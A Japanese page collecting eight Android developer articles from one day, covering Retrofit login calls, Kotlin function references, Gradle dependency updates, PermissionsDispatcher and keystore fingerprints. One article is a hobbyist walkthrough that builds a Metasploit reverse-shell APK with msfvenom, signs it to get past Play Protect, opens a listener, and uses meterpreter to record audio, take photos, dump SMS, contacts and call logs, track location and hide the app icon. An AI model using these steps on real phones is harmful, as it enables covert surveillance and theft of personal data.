20200806のAndroidに関する記事は8件です。

Retrofit2とOkhttp3とGsonを使用してAPIを作成(Java)

API作成時の備忘録。
細かい説明は抜きにして、とりあえずこれで通信できた。

手順

  • manifestfileに通信を許可するように設定
  • リクエスト、レスポンスを受け取る用のクラスを定義
  • エンドポイントの作成
  • HTTPクライアントの作成
  • 実行

manifestFileに通信を許可するように設定

AndroidManifest.xml に以下を記述する

AndroidManifest.xml
<uses-permission android:name="android.permission.INTERNET" />

リクエスト、レスポンスを受け取る用のクラスを定義

ログイン用のリクエストクラス、 requestのbodyがこの形式で送られる

LoginRequest.java
package com.example.bookmanager_android.models.requests;

public class LoginRequest {
    private String email;
    private String password;

    public LoginRequest(String email, String passWord){
        this.email = email;
        this.password = passWord;
    }
}
  • レスポンスクラス

ログイン用のレスポンスクラス、responseがこの形で受け取られる

LoginResponse.java
package com.example.bookmanager_android.models.requests.response;

public class LoginResponse {
    public int status;
    public Result result;

    public static class Result {
        public int id;
        public String email;
        public String token;
    }
}

エンドポイントを作成する

interfaceを作成

RequestApiService
public interface RequestApiService {
    @POST("/login") // API エンドポイント
    Call<LoginResponse> logIn(@Body LoginRequest requestBody); 
    // logInメソッドが呼ばれると,body形式は上記で作った、LoginRequestクラスの形になる
}

HTTPクライアントの作成

HttpClient.java
public class HttpClient {
    public static RequestApiService apiService;

    private static final String URL = "http://baseurl"; // BaseUrlを指定

    // Okhttp
    private static final OkHttpClient client = new OkHttpClient.Builder()
            .connectTimeout(10, TimeUnit.SECONDS)
            .writeTimeout(10, TimeUnit.SECONDS)
            .readTimeout(30, TimeUnit.SECONDS)
            .build();
    // GSON
    private static final Gson gson = new GsonBuilder()
            .setFieldNamingPolicy(FieldNamingPolicy.LOWER_CASE_WITH_UNDERSCORES)
            .create();

    // RetrofitにGSONとOkhttpを組み合わせてHttpクライアントの作成
    public static RequestApiService getRequestApiService() {
        Retrofit retrofit = new Retrofit.Builder()
                .baseUrl(URL)
                .addConverterFactory(GsonConverterFactory.create(gson))
                .client(client)
                .build();
        apiService = retrofit.create(RequestApiService.class);
        return apiService;
    }

実行

SignInFragment.java
private boolean starLogin(String emailStr, String passwordStr) {
        // bodyの作成
        LoginRequest requestBody = new LoginRequest(emailStr, passwordStr);
        // HTTPクライアントの呼び出し
        RequestApiService apiService = HttpClient.getRequestApiService();

        // 通信開始 interfaceで定義した処理が呼ばれる
        apiService.logIn(requestBody).enqueue(new Callback<LoginResponse>() {
            @Override
            public void onResponse(Call<LoginResponse> call, Response<LoginResponse> response) {
                if (response.isSuccessful()) {
                   // 通信処理成功時の処理を記載
                } else {
                    Log.e("SignInFragment", "Something wrong On Response: " + response.toString());   
                }
            }

            @Override
            public void onFailure(Call<LoginResponse> call, Throwable t) {
                // 通信処理失敗時の処理を記載
            }
        });
        return true;
    }

所感

tokenの保持とか、成功失敗時の処理とかまだあるが、とりあえずこれで通信はできた。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

新卒プログラマの学習ログ 〜 其の四 〜

Kotlinのあれこれ

Android StudioでKotlinを使用しながら、Androidアプリ開発に関して学んでいます。
Javaの基礎知識があればKotlinの学習は必要ないと上司から言われていましたが、全然そんなことないと思っています。(泣)

確かにオブジェクト思考を前提としたプログラミングではありますが、Javaと比較してKotlinは型推定が常識のように行われるためにいきなりライブラリの仕様等を見ると心が折れます。

基礎知識

Kotlinでは関数も、数値や文字列のなどの値のようにして扱うことができます。
そのため、変数に代入したり関数の引数として与えたり、関数の結果として返したりできます。

このような性質のオブジェクトは第一級オブジェクトに分類されます。

よくみる "::関数名" とは?

Kotlinのコードを見ているとよく::関数名のような記述をよく見ます。
以下のコードをご覧ください。

Sample.kt
fun square(i : Int): Int = i * i

fun main(){
   val functionObject = ::square
   println(functionObject(5))
   println(square(5))
}

前述したように=(イコール)を用いて関数squareを定義していますね。
この関数は引数にInt(数字)を受け取ってInt(数字)を返す関数ですね。

これをmainでは変数functionObjectの初期定義を::squareで行っています。
出力は以下のようになります。

..> 25
..> 25

squareの引数に5を与えた結果の25が二回出力されていますね!
::squareで関数オブジェクトを生成し、その結果をfunctionObjectに与えているので、
関数squareと同じ動作を実行できるようになっていますね。

どちらも引数に数値を受け取って数値を返す関数になっていることが確認できますね。
これが関数オブジェクトと言われるものの基本となる知識です。

最後に

JavaやC言語でなれている人にとってはあまり馴染みのない書き方ですね。
次回はこの関数オブジェクトを使用して、関数を引数に持つ関数高階関数に関して記事を書いてみたいと思います。

とりあえず。。。

メモ代わりに書いていますが、これから理解が深まれば書き足していきます。
いつか誰かのお役に立てると嬉しいですね。

初学者から一人前まで、、、

ここでは一人前のプログラマの定義を
「おおよそ自力で様々なツールを活用しながら、ある程度思い通りの実装ができること」
とします。

また、人生においてプログラミングに向き合う時間として、現時点で2000時間取り組めればある程度の基盤が備わると仮定しています。
(言語やツールに依存しない思考法や情報収集能力)

プログラミングは大学で学んで来ましたが、特に根詰めてやってきていないので、ノーカウントとして取り組みます。

現在までの学習時間
およそ410時間
どんどん更新していきます。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

MetasploitでAndroidをハッキングしてみた

はじめに

今回は、Metasploitを使ってAndroid端末をハッキングし、遠隔操作して遊んでみようと思います。
MetasploitのAndroidについての日本語の資料が少なかったので書くことにしました。
今回はKali LinuxをUSBに入れて動かしていますが、VirtualBoxとかでも大丈夫だと思います。

当然ながら悪用厳禁です。作ったapkを配布とかしたら普通に捕まるので注意。

apkの作成

まずはMetasploitを使って、Androidを遠隔操作可能にするapkファイルを作っていきます。
Terminalを開き、以下のコマンドを入力します。(私の環境だと、コピペするとなぜかうまくいかなかったので、その場合は自分で入力してみてください。)

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk

-pで使うペイロード(攻撃コード)を指定します。
android/meterpreter/reverse_tcpというのは、Android側に遠隔操作可能なシェルを開くペイロードです。

LHOSTには攻撃側のIPアドレスを指定してください。IPアドレスはipコマンドで調べられます。

ip a

これで/home/kaliにtest.apkが生成されているはずです。

しかし、署名されてないapkをインストールしようとするとPlay プロテクトに弾かれるみたいなので、適当に署名していきます。

keytool -genkey -v -keystore test.keystore -alias test_alias -keyalg RSA -keysize 2048 -validity 10000

これでキーストアが生成されます。

apkに書名をするjarsignerコマンドと、apkを最適化するzipalignコマンドはデフォルトでは入ってないので、以下のコマンドでインストールします。

sudo apt-get install default-jdk
sudo apt-get install zipalign

apkに署名します。

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore /home/kali/test.apk test_alias

apkを最適化します。

zipalign -v 4 /home/kali/test.apk /home/kali/shell.apk

これでapkファイルは完成です。

リスナーを開く

今回のペイロードはリバースシェルというものでAndroid側から接続を行うので、攻撃側はリスナーを開いておきます。
まずはMetasploitを起動しましょう。

msfconsole

次に、multi/handlerを起動し、Androidからの接続をリッスンします。

use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.11.4

LHOSTには先ほど指定した攻撃側のIPアドレスを指定します。

exploit

これでリスナーが動き出します。

Screenshot 2020-08-03 09:38:211.png

apkのインストール

先ほど作成したapkファイルをAndroid側に転送し、インストールしていきます。
あらかじめ設定から「提供元不明のアプリ」を許可しておいてください。

apkファイルを開くと、何やらめっちゃ権限を要求されます。

Screenshot_2020-08-03-09-11-32.png

どう考えても怪しいですが、まあ気にせずインストールボタンを押しましょう。

Screenshot_2020-08-03-09-17-02.png

さらにPlayプロテクトから警告されますが、気にしたら負けです。

インストールが完了したら、さっそく開いてみましょう。

Screenshot 2020-08-03 10:02:421.png

Kali Linux側で、上の画像の用にmeterpreterが開いたら成功です。これで遠隔操作が可能になります。

meterpreterで遊ぼう

meterpreterには様々なコマンドが用意されています。helpと入力すると、使用できるコマンドが大量に出てくると思います。
ここでは面白いコマンドを色々紹介します。

shell

Androidのシェルを使えるコマンドです。

record_mic

record_mic -d 秒数

とすることで、指定した秒数マイクから録音し、wavファイルに保存できる...はずなんですが、私の環境だとなぜか指定した半分の秒数しか録音されませんでした。
しかも録音時間が14秒を越えるとエラーが出ます。

webcam_snap

webcam_snap [-i カメラ番号 -p 保存先 -q 画質(1〜100) -v 撮影後に開くか(true/false)]

とすることで、カメラで撮影できます。
カメラ番号はwebcam_listコマンドで分かります。

webcam_stream

リアルタイムでカメラ映像が見れます。
といっても、連続で撮影しているだけなのでパシャパシャ鳴り続けてうるさいです。
Root化されているとシャッター音が鳴らないみたいです。

play

play ファイル名

とすることで、wavファイルをAndroid端末上で再生できます。(でも私の環境だと途中で中断されてしまいました。)
wavファイル以外も再生できるのかは不明。

dump_calllog

通話記録をtxt形式で保存できます。

dump_contacts

連絡先リストをtxt形式で保存できます。

dump_sms

SMSの履歴をtxt形式で保存できます。

geolocate

現在地がかなりの精度で出力されます。

hide_app_icon

さっきインストールしたはずのアプリのアイコンが姿を消します。

send_sms

send_sms -d 電話番号 -t テキスト

でSMSメッセージを送信できます。

set_audio_mode

set_audio_mode -m モード(0: オフ, 1: 普通, 2: 最大)

とすることで、音量レベルを設定できます。

app_list

インストールされているアプリとパッケージ名などの情報が出力されます。

app_run

app_run アプリのパッケージ名

でアプリを起動できます。
例) app_run com.android.settings

LAN外から接続する

一応LAN外からも操作できる(らしいです。)

先ほど書いた通り、今回使っているリバースシェルはAndroid側から接続を行うため、まずは攻撃側のルーターのポートを開放する必要があります。
各ルーターの管理画面を開き、ポート開放設定(転送設定)の画面から、LAN側IPアドレスに攻撃側PCのローカルIPアドレスを指定し、開始ポートと終了ポートに4444を指定します。

そして、先ほどのapk生成コマンド

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.4 R>/home/kali/test.apk

のLHOSTを攻撃側のグローバルIPアドレスに変えてください。
グローバルIPアドレスは確認くんで見られます。

あとは先ほどと同じようにすれば、LAN外からAndroid端末を操作できる...らしいのですが、私の場合そもそもポート開放がうまくいかず、心が折れて諦めました。
誰かうまくいった方がいたら、是非コメント欄で教えてください。

終わりに

という訳で、MetasploitからAndroidをハッキングしてみました。
とはいっても、そもそも生成されたapkファイル自体が怪しすぎるし、アンチウイルスにも引っ掛かりまくっていたので、すぐにウイルスだとばれてしまうでしょう。

別のapkファイルにペイロードを埋め込みたくて、3日間ぐらいネット上の情報を漁っていたのですが、結局どの方法やツールを使ってもうまくいきませんでした。
もしうまくいった方がいたら、是非コメント欄で教えてください。

参考文献

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Android】SHA-1 署名証明書フィンガープリントを取得する

リリース用署名証明書

terminal
keytool -list -v -keystore your_keystore_name -alias your_alias_name

your_keystore_name は「.keystore」や「.jks」拡張子を含む完全修飾パスとキーストア名で置き換える。
your_alias_name は作成時に証明書に割り当てたエイリアスで置き換える。

デバッグ用署名証明書

Linux または macOS の場合:

terminal
keytool -list -v -keystore ~/.android/debug.keystore -alias androiddebugkey -storepass android -keypass android

Windows の場合:

terminal
keytool -list -v -keystore "%USERPROFILE%\.android\debug.keystore" -alias androiddebugkey -storepass android -keypass android

どんな時使うのか

APIキーに制限を入れずにAndroidアプリを公開すると下記のようなメッセージが表示される↓
2キャプチャ.PNG
このセキュリティアラートを解消するためにGCPのAPIキーに使用制限を加える。
その時にSHA-1 リリース用署名証明書フィンガープリントが必要。

参考サイト

API キーの制限を適用する

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Androidアプリ開発探求記(その9)

はじめに

前回は、buildSrcDependencies.kt にて、依存関係の一元管理をしてみました。

しかし、管理対象ライブラリのバージョンは日々更新されていくため、必要に応じて更新していく必要があります。

ということで、今回は、ライブラリのバージョン保守に関して模索してみようと思います。

Gradle Versions Plugin の導入

基本的に、Gradle Versions Plugin によるバージョン管理 をそのまま踏襲しようと思います。

追加コード

build.gradle.kts
import com.github.benmanes.gradle.versions.updates.DependencyUpdatesTask

plugins {
    id("com.github.ben-manes.versions") version "0.29.0"
}

fun isNonStable(version: String): Boolean {
    val stableKeyword = listOf("RELEASE", "FINAL", "GA").any { version.toUpperCase().contains(it) }
    val regex = "^[0-9,.v-]+(-r)?$".toRegex()
    val isStable = stableKeyword || regex.matches(version)
    return isStable.not()
}

// configure Component Selection Rules.
// @See https://docs.gradle.org/current/userguide/dynamic_versions.html#sec:component_selection_rules
tasks.named("dependencyUpdates", DependencyUpdatesTask::class.java).configure {
    rejectVersionIf {
        isNonStable(candidate.version) && !isNonStable(currentVersion)
    }
}

実行

依存関係修正前

$ ./gradlew dependencyUpdates

> Task :dependencyUpdates

------------------------------------------------------------
: Project Dependency Updates (report to plain text file)
------------------------------------------------------------

The following dependencies are using the latest milestone version:
 - androidx.constraintlayout:constraintlayout:1.1.3
 - androidx.test.espresso:espresso-core:3.2.0
 - androidx.test.ext:junit:1.1.1
 - com.android.tools.build:gradle:4.0.1
 - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0
 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72
 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72
 - org.jetbrains.kotlin:kotlin-gradle-plugin:1.3.72
 - org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.72

The following dependencies have later milestone versions:
 - androidx.appcompat:appcompat [1.1.0 -> 1.2.0]
     https://developer.android.com/jetpack/androidx
 - junit:junit [4.12 -> 4.13]
     http://junit.org

Gradle release-candidate updates:
 - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]

依存関係修正

Dependencies.kt
object Deps {
    const val androidx_appcompat__appcompat = "androidx.appcompat:appcompat:1.2.0"
    const val junit__junit = "junit:junit:4.13"
}

Gradle のバージョン変更はリスクが高いので、具体的な必要性が生じるまでは Android Studio の配布に合わせたバージョンを利用することとします。

依存関係修正後

$ ./gradlew dependencyUpdates

> Task :buildSrc:compileKotlin
The `kotlin-dsl` plugin applied to project ':buildSrc' enables experimental Kotlin compiler features. For more information see https://docs.gradle.org/6.1.1/userguide/kotlin_dsl.html#sec:kotlin-dsl_plugin

> Task :buildSrc:jar
:jar: No valid plugin descriptors were found in META-INF/gradle-plugins

> Task :dependencyUpdates

------------------------------------------------------------
: Project Dependency Updates (report to plain text file)
------------------------------------------------------------

The following dependencies are using the latest milestone version:
 - androidx.appcompat:appcompat:1.2.0
 - androidx.constraintlayout:constraintlayout:1.1.3
 - androidx.test.espresso:espresso-core:3.2.0
 - androidx.test.ext:junit:1.1.1
 - com.android.tools.build:gradle:4.0.1
 - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0
 - junit:junit:4.13
 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72
 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72
 - org.jetbrains.kotlin:kotlin-gradle-plugin:1.3.72
 - org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.72

Gradle release-candidate updates:
 - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]

まとめ

今回は、Gradle Versions Plugin を導入し、ライブラリをアップデートしてみました。

次回のネタは考え中。

Appendix

◆ Pull Request

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Gradle Versions Plugin によるバージョン管理

はじめに

本稿では Gradle Versions Plugin を用いたバージョン管理について、ざっくりと説明します。

Gradle Versions Plugin

◆ 概要

Gradle Versions Plugin は、以下の項目に関するアップデートを指摘してくれる task を提供します。

  • ライブラリのバージョン
  • Gradle のバージョン

◆ 公式サイト

https://github.com/ben-manes/gradle-versions-plugin

最低限の設定

plugin を追加するだけで利用可能です。

build.gradle.kts
plugins {
    id("com.github.ben-manes.versions") version "0.29.0"
}

Task

dependencyUpdates task により info レベルのログとしてバージョン情報が表示されます。

$ ./gradlew dependencyUpdates

> Task :dependencyUpdates

------------------------------------------------------------
: Project Dependency Updates (report to plain text file)
------------------------------------------------------------

The following dependencies are using the latest milestone version:
 - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0
 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72
 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72
 - org.jetbrains.kotlin:kotlin-stdlib:1.3.72

The following dependencies have later milestone versions:
 - androidx.appcompat:appcompat [1.1.0 -> 1.3.0-alpha01]
     https://developer.android.com/jetpack/androidx
 - androidx.constraintlayout:constraintlayout [1.1.3 -> 2.0.0-rc1]
     http://tools.android.com
 - androidx.core:core-ktx [1.3.1 -> 1.5.0-alpha01]
     https://developer.android.com/jetpack/androidx
 - androidx.test.espresso:espresso-core [3.2.0 -> 3.3.0-rc03]
     https://developer.android.com/testing
 - androidx.test.ext:junit [1.1.1 -> 1.1.2-rc03]
     https://developer.android.com/testing
 - com.android.tools.build:gradle [4.0.1 -> 4.2.0-alpha07]
     https://developer.android.com/studio
 - junit:junit [4.12 -> 4.13]
     http://junit.org
 - org.jetbrains.kotlin:kotlin-gradle-plugin [1.3.72 -> 1.4.0-rc]
     https://kotlinlang.org/

Gradle release-candidate updates:
 - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]

◆ Revisions

最新バージョンの判断基準として、gradle ではデフォルトで release, milestone, integration という3つの選択肢が提供されています。

しかし、この判断基準は多くの場合現実的ではありません。

バージョンの判断は Ivy resolution strategy に基づいて行われますが、現状はこれらの命名規則に沿っているライブラリは殆どありません。また、maven のメタデータには、milestone と release を区別する情報が含まれていません。

※ 詳細はRevisions参照のこと

◆ 現実的な判断基準

バージョンの種類や命名規則には標準というものは存在しないので、現実的な判断基準を自作して対応することになります。

下記は本家のサンプルコードで、任意の Example N のコードブロック以外をコメントアウトして使うようになっています。

コメントアウトしなくても動作しますが、後勝ちになるので Example 3 が採用されたことになります。

fun isNonStable(version: String): Boolean {
    val stableKeyword = listOf("RELEASE", "FINAL", "GA").any { version.toUpperCase().contains(it) }
    val regex = "^[0-9,.v-]+(-r)?$".toRegex()
    val isStable = stableKeyword || regex.matches(version)
    return isStable.not()
}

tasks.named("dependencyUpdates", DependencyUpdatesTask::class.java).configure {
    // Example 1: reject all non stable versions
    rejectVersionIf {
        isNonStable(candidate.version)
    }

    // Example 2: disallow release candidates as upgradable versions from stable versions
    rejectVersionIf {
        isNonStable(candidate.version) && !isNonStable(currentVersion)
    }

    // Example 3: using the full syntax
    resolutionStrategy {
        componentSelection {
            all {
                if (isNonStable(candidate.version) && !isNonStable(currentVersion)) {
                    reject("Release candidate")
                }
            }
        }
    }
}

☆ Example 1

stable でないものはすべて候補から除外します。

☆ Example 2

候補が stable ではなく、かつ現在のバージョンが stable の場合のみ候補を除外します。

例えば、候補が 1.3.0-alpha02 の場合、Example 1 では問答無用で候補から除外されますが、現行バージョンが 1.3.0-alpha01 のように unstable であれば、候補からは除外されません。

☆ Example 3

Example 2 のロジックを、一切のシンタックスシュガー無しで記述したもの。

以下に、Example 3 の実行例を示します。
alpha や rc 付きのライブラリが、候補から除外されていることが分かります。

Example3の実行例
$ ./gradlew dependencyUpdates

> Task :dependencyUpdates

------------------------------------------------------------
: Project Dependency Updates (report to plain text file)
------------------------------------------------------------

The following dependencies are using the latest milestone version:
 - androidx.constraintlayout:constraintlayout:1.1.3
 - androidx.core:core-ktx:1.3.1
 - androidx.test.espresso:espresso-core:3.2.0
 - androidx.test.ext:junit:1.1.1
 - com.android.tools.build:gradle:4.0.1
 - com.github.ben-manes.versions:com.github.ben-manes.versions.gradle.plugin:0.29.0
 - org.jetbrains.kotlin:kotlin-android-extensions:1.3.72
 - org.jetbrains.kotlin:kotlin-android-extensions-runtime:1.3.72
 - org.jetbrains.kotlin:kotlin-gradle-plugin:1.3.72
 - org.jetbrains.kotlin:kotlin-stdlib:1.3.72

The following dependencies have later milestone versions:
 - androidx.appcompat:appcompat [1.1.0 -> 1.2.0]
     https://developer.android.com/jetpack/androidx
 - junit:junit [4.12 -> 4.13]
     http://junit.org

Gradle release-candidate updates:
 - Gradle: [6.1.1 -> 6.5.1 -> 6.6-rc-6]

おわりに

本稿では Gradle Versions Plugin を用いたバージョン管理について、ざっくりと説明しました。

しかし、Gradle Versions Plugin に関する記述が root の build.gradle.kts にガッツリ組み込まれてしまっているので、分離する方法とかあれば採用したいところです。← いい方法があればぜひ教えてください mm

コードサンプルについては Appendix を参照してください。

Appendix

◆ サンプルコードの GitHub リポジトリ

◆ 主要コード

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PermissionsDispatcherによる権限管理

はじめに

本稿では PermissionsDispatcher による権限管理に関して、簡単な説明とサンプルアプリの提示を行います。

Android の権限に関する包括的な情報

以下の情報を参照のこと:

PermissionsDispatcher

◆ 概要

PermissionsDispatcher は、実行時の権限を扱うためのシンプルなアノテーションベースの API を提供します。

このライブラリは、権限が許可されているかどうかのチェック用コードを大量に記述することに伴う負担を軽減し、クリーンで安全なコードの保持に寄与します。

◆ 公式サイト

https://github.com/permissions-dispatcher/PermissionsDispatcher

サンプルアプリ

◆ 概要

カメラ起動ボタンを押下すると、カメラの権限の必要な機能が呼び出されるサンプルアプリです。

以下に、概要図を示します:
PermissionsDispatcher2.png

◆ AndroidManifest.xml

AndroidManifest.xml にて、権限の設定が必要になります。

<!--
  権限の付与。
  記述し忘れても、当該権限を利用している PermissionsDispatcher 関連コードは
  ビルド時にも実行時にもエラーとならず、自動的に権限申請が却下扱いとなるので要注意。
-->
<uses-permission android:name="android.permission.CAMERA" />

◆アノテーション設定

☆ @￰RuntimePermissions

  • 必須のアノテーションです。

  • Activity や Fragment に対して @RuntimePermissions アノテーションを付与することにより、PermissionsDispatcher による権限のハンドリングが有効になります。

@RuntimePermissions
class MainActivity : AppCompatActivity() {
}

☆ @￰NeedsPermission

  • 必須のアノテーションです。

  • @NeedsPermission アノテーションが付与されたメソッドに対しては、annotation processor によりメソッド名に WithPermissionCheck が付与されたラッパーメソッドが自動的に生成されます。

  • 開発者は、オリジナルのメソッドではなく、ラッパーメソッドを呼び出します。

  • @NeedsPermission アノテーションが付与されたメソッドは、ラッパーメソッド経由で権限のリクエストが許可された直後に PermissionsDispatcher により自動的に呼び出されます。

  • private スコープは使用できません。

/**
 * カメラの権限を必要とする任意のメソッド。
 */
@NeedsPermission(Manifest.permission.CAMERA)
fun showCamera() {
    Toast.makeText(this, "showCamera()", Toast.LENGTH_SHORT).show()
}

☆ @￰OnShowRationale

  • @OnShowRationale アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で権限のリクエストが発生した直後に PermissionsDispatcher により自動的に呼び出されます。

  • 引数に、続行か中断を指示できる PermissionRequest を指定することができます。これを用いると、ダイアログに渡すことによりダイアログ側で続行か中断の指示を出すようなことが可能になります。

  • 引数が指定されていない場合は、proceed${NeedsPermissionMethodName}ProcessRequestcancel${NeedsPermissionMethodName}ProcessRequest メソッドが @RuntimePermissions アノテーションが付与された Activity や Fragment に生成され、これらのメソッドにより続行か中断の指示を出すことができます。

  • private スコープは使用できません。

/**
 * 権限が必要な理由を表示する任意のメソッド。
 */
@OnShowRationale(Manifest.permission.CAMERA)
fun showRationaleForCamera(request: PermissionRequest) {
    showRationaleDialog(request)
}

/**
 * `@OnShowRationale` 経由で起動され、権限が必要な理由を表示して許可の是非を問うダイアログを表示するメソッド。
 */
private fun showRationaleDialog(request: PermissionRequest) {
    AlertDialog.Builder(this)
            .setPositiveButton("許可") { _, _ -> request.proceed() }
            .setNegativeButton("拒否") { _, _ -> request.cancel() }
            .setCancelable(false)
            .setMessage("カメラの権限が必要です")
            .show()
}

☆ @￰OnPermissionDenied

  • @OnPermissionDenied アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。

  • private スコープは使用できません。

/**
 * 権限が拒否された場合に呼び出される任意のメソッド
 */
@OnPermissionDenied(Manifest.permission.CAMERA)
fun onCameraPermissionDenied() {
    Toast.makeText(this, "onCameraPermissionDenied()", Toast.LENGTH_SHORT).show()
}

☆ @￰OnNeverAskAgain

  • @OnNeverAskAgain アノテーションが付与されたメソッドは、『今後表示しない』が設定された状態で権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。

  • private スコープは使用できません。

/**
 * 『今後表示しない』が選択された場合に呼び出される任意のメソッド
 */
@OnNeverAskAgain(Manifest.permission.CAMERA)
fun onCameraNeverAskAgain() {
    Toast.makeText(this, "onCameraNeverAskAgain()", Toast.LENGTH_SHORT).show()
}

◆ 自動生成コードとのつなぎ込み

☆ ラッパーメソッド

@NeedsPermission アノテーションの付与されたメソッドは、権限チェック込みで呼び出すためのラッパーメソッドが自動生成されます。

ラッパーメソッドの名称は、オリジナルのメソッド名の末尾に WithPermissionCheck が付いたものになります。

/**
 * 画面中央の『カメラ起動』ボタンが押された時に呼び出されるメソッド。
 */
private fun onShowCameraButtonClick() {
    // showCamera() を呼ぶのではなく、自動生成されたラッパーメソッドの showCameraWithPermissionCheck() を呼んでいる点に注意。
    showCameraWithPermissionCheck()
}

☆ onRequestPermissionsResult()

OnRequestPermissionsResultCallback#onRequestPermissionsResult() の呼び出しを、自動生成されたハンドリング用の extension function に委譲します。

override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
    super.onRequestPermissionsResult(requestCode, permissions, grantResults)
    // 自動生成された権限ハンドリング用のコードに処理を委譲するための extension function を呼び出す。
    onRequestPermissionsResult(requestCode, grantResults)
}

画面サンプル

◆ MainActivity

◆ showRationaleDialog()

権限が必要な理由を表示するためのダイアログです。

権限設定ダイアログに置き換わるものではなく、権限設定ダイアログの前に表示されるダイアログになります。

◆ 権限設定ダイアログ

システムにより自動的に表示されるダイアログです。

☆ 通常表示

☆ 『今後表示しない』チェック時

今後表示しないをチェックした際には、許可が選択できないようになっています。1

おわりに

本稿では PermissionsDispatcher による権限管理に関して、簡単な説明とサンプルアプリの提示を行いました。

サンプルの詳細については Appendix を参照してください。

Appendix

◆ サンプルアプリの GitHub リポジトリ

◆ 主要コード

◆ MainActivityソース

package com.objectfanatics.chrono0016

import android.Manifest
import android.os.Bundle
import android.view.View
import android.widget.Toast
import androidx.appcompat.app.AlertDialog
import androidx.appcompat.app.AppCompatActivity
import permissions.dispatcher.*

// ・必須のアノテーションです。
// ・Activity もしくは Fragment に対して @RuntimePermissions アノテーションを付与することにより、
//  PermissionsDispatcher による権限のハンドリングが有効になります。
@RuntimePermissions
class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        findViewById<View>(R.id.show_camera_button).setOnClickListener {
            onShowCameraButtonClick()
        }
    }

    override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults)
        // 自動生成された権限ハンドリング用のコードに処理を委譲するための extension function を呼び出す。
        onRequestPermissionsResult(requestCode, grantResults)
    }

    /**
     * 画面中央の『カメラ起動』ボタンが押された時に呼び出されるメソッド。
     */
    private fun onShowCameraButtonClick() {
        // showCamera() を呼ぶのではなく、自動生成されたラッパーメソッドの showCameraWithPermissionCheck() を呼んでいる点に注意。
        showCameraWithPermissionCheck()
    }

    /**
     * カメラの権限を必要とする任意のメソッド。
     */
    // ・必須のアノテーションです。
    // ・`@NeedsPermission` アノテーションが付与されたメソッドに対しては、annotation processor により
    //   `WithPermissionCheck` が付与されたラッパーメソッドが自動的に生成され、開発者はそちらの
    //  ラッパーメソッドを呼び出します。
    // ・ラッパーメソッド経由で権限のリクエストが許可された直後に PermissionsDispatcher により自動的に呼び出されます。
    // ・private スコープは使用できません。
    @NeedsPermission(Manifest.permission.CAMERA)
    fun showCamera() {
        Toast.makeText(this, "showCamera()", Toast.LENGTH_SHORT).show()
    }

    /**
     * 権限が必要な理由を表示する任意のメソッド。
     */
    // ・`@OnShowRationale` アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で
    //  権限のリクエストが発生した直後に PermissionsDispatcher により自動的に呼び出されます。
    // ・引数に、続行か中断を指示できる PermissionRequest を指定することができます。これを用いると、
    //  ダイアログに渡すことによりダイアログ側で続行か中断の指示を出すようなことが可能になります。
    // ・引数が指定されていない場合は、proceed${NeedsPermissionMethodName}ProcessRequest と cancel${NeedsPermissionMethodName}ProcessRequest
    //  メソッドが @RuntimePermissions アノテーションが付与された Activity や Fragment に生成され、
    //  これらのメソッドにより続行か中断の指示を出すことができます。
    // ・private スコープは使用できません。
    @OnShowRationale(Manifest.permission.CAMERA)
    fun showRationaleForCamera(request: PermissionRequest) {
        showRationaleDialog(request)
    }

    /**
     * 権限が拒否された場合に呼び出される任意のメソッド
     */
    // ・`@OnPermissionDenied` アノテーションが付与されたメソッドは、『今後表示しない』が設定されていない状態で
    //  権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。
    // ・private スコープは使用できません。
    @OnPermissionDenied(Manifest.permission.CAMERA)
    fun onCameraPermissionDenied() {
        Toast.makeText(this, "onCameraPermissionDenied()", Toast.LENGTH_SHORT).show()
    }

    /**
     * 『今後表示しない』が選択された場合に呼び出される任意のメソッド
     */
    // `@OnNeverAskAgain` アノテーションが付与されたメソッドは、『今後表示しない』が設定された状態で
    // 権限付与が拒否された場合に PermissionsDispatcher により自動的に呼び出されます。
    @OnNeverAskAgain(Manifest.permission.CAMERA)
    fun onCameraNeverAskAgain() {
        Toast.makeText(this, "onCameraNeverAskAgain()", Toast.LENGTH_SHORT).show()
    }

    /**
     * `@OnShowRationale` 経由で起動され、権限が必要な理由を表示して許可の是非を問うダイアログを表示するメソッド。
     */
    private fun showRationaleDialog(request: PermissionRequest) {
        AlertDialog.Builder(this)
                .setPositiveButton("許可") { _, _ -> request.proceed() }
                .setNegativeButton("拒否") { _, _ -> request.cancel() }
                .setCancelable(false)
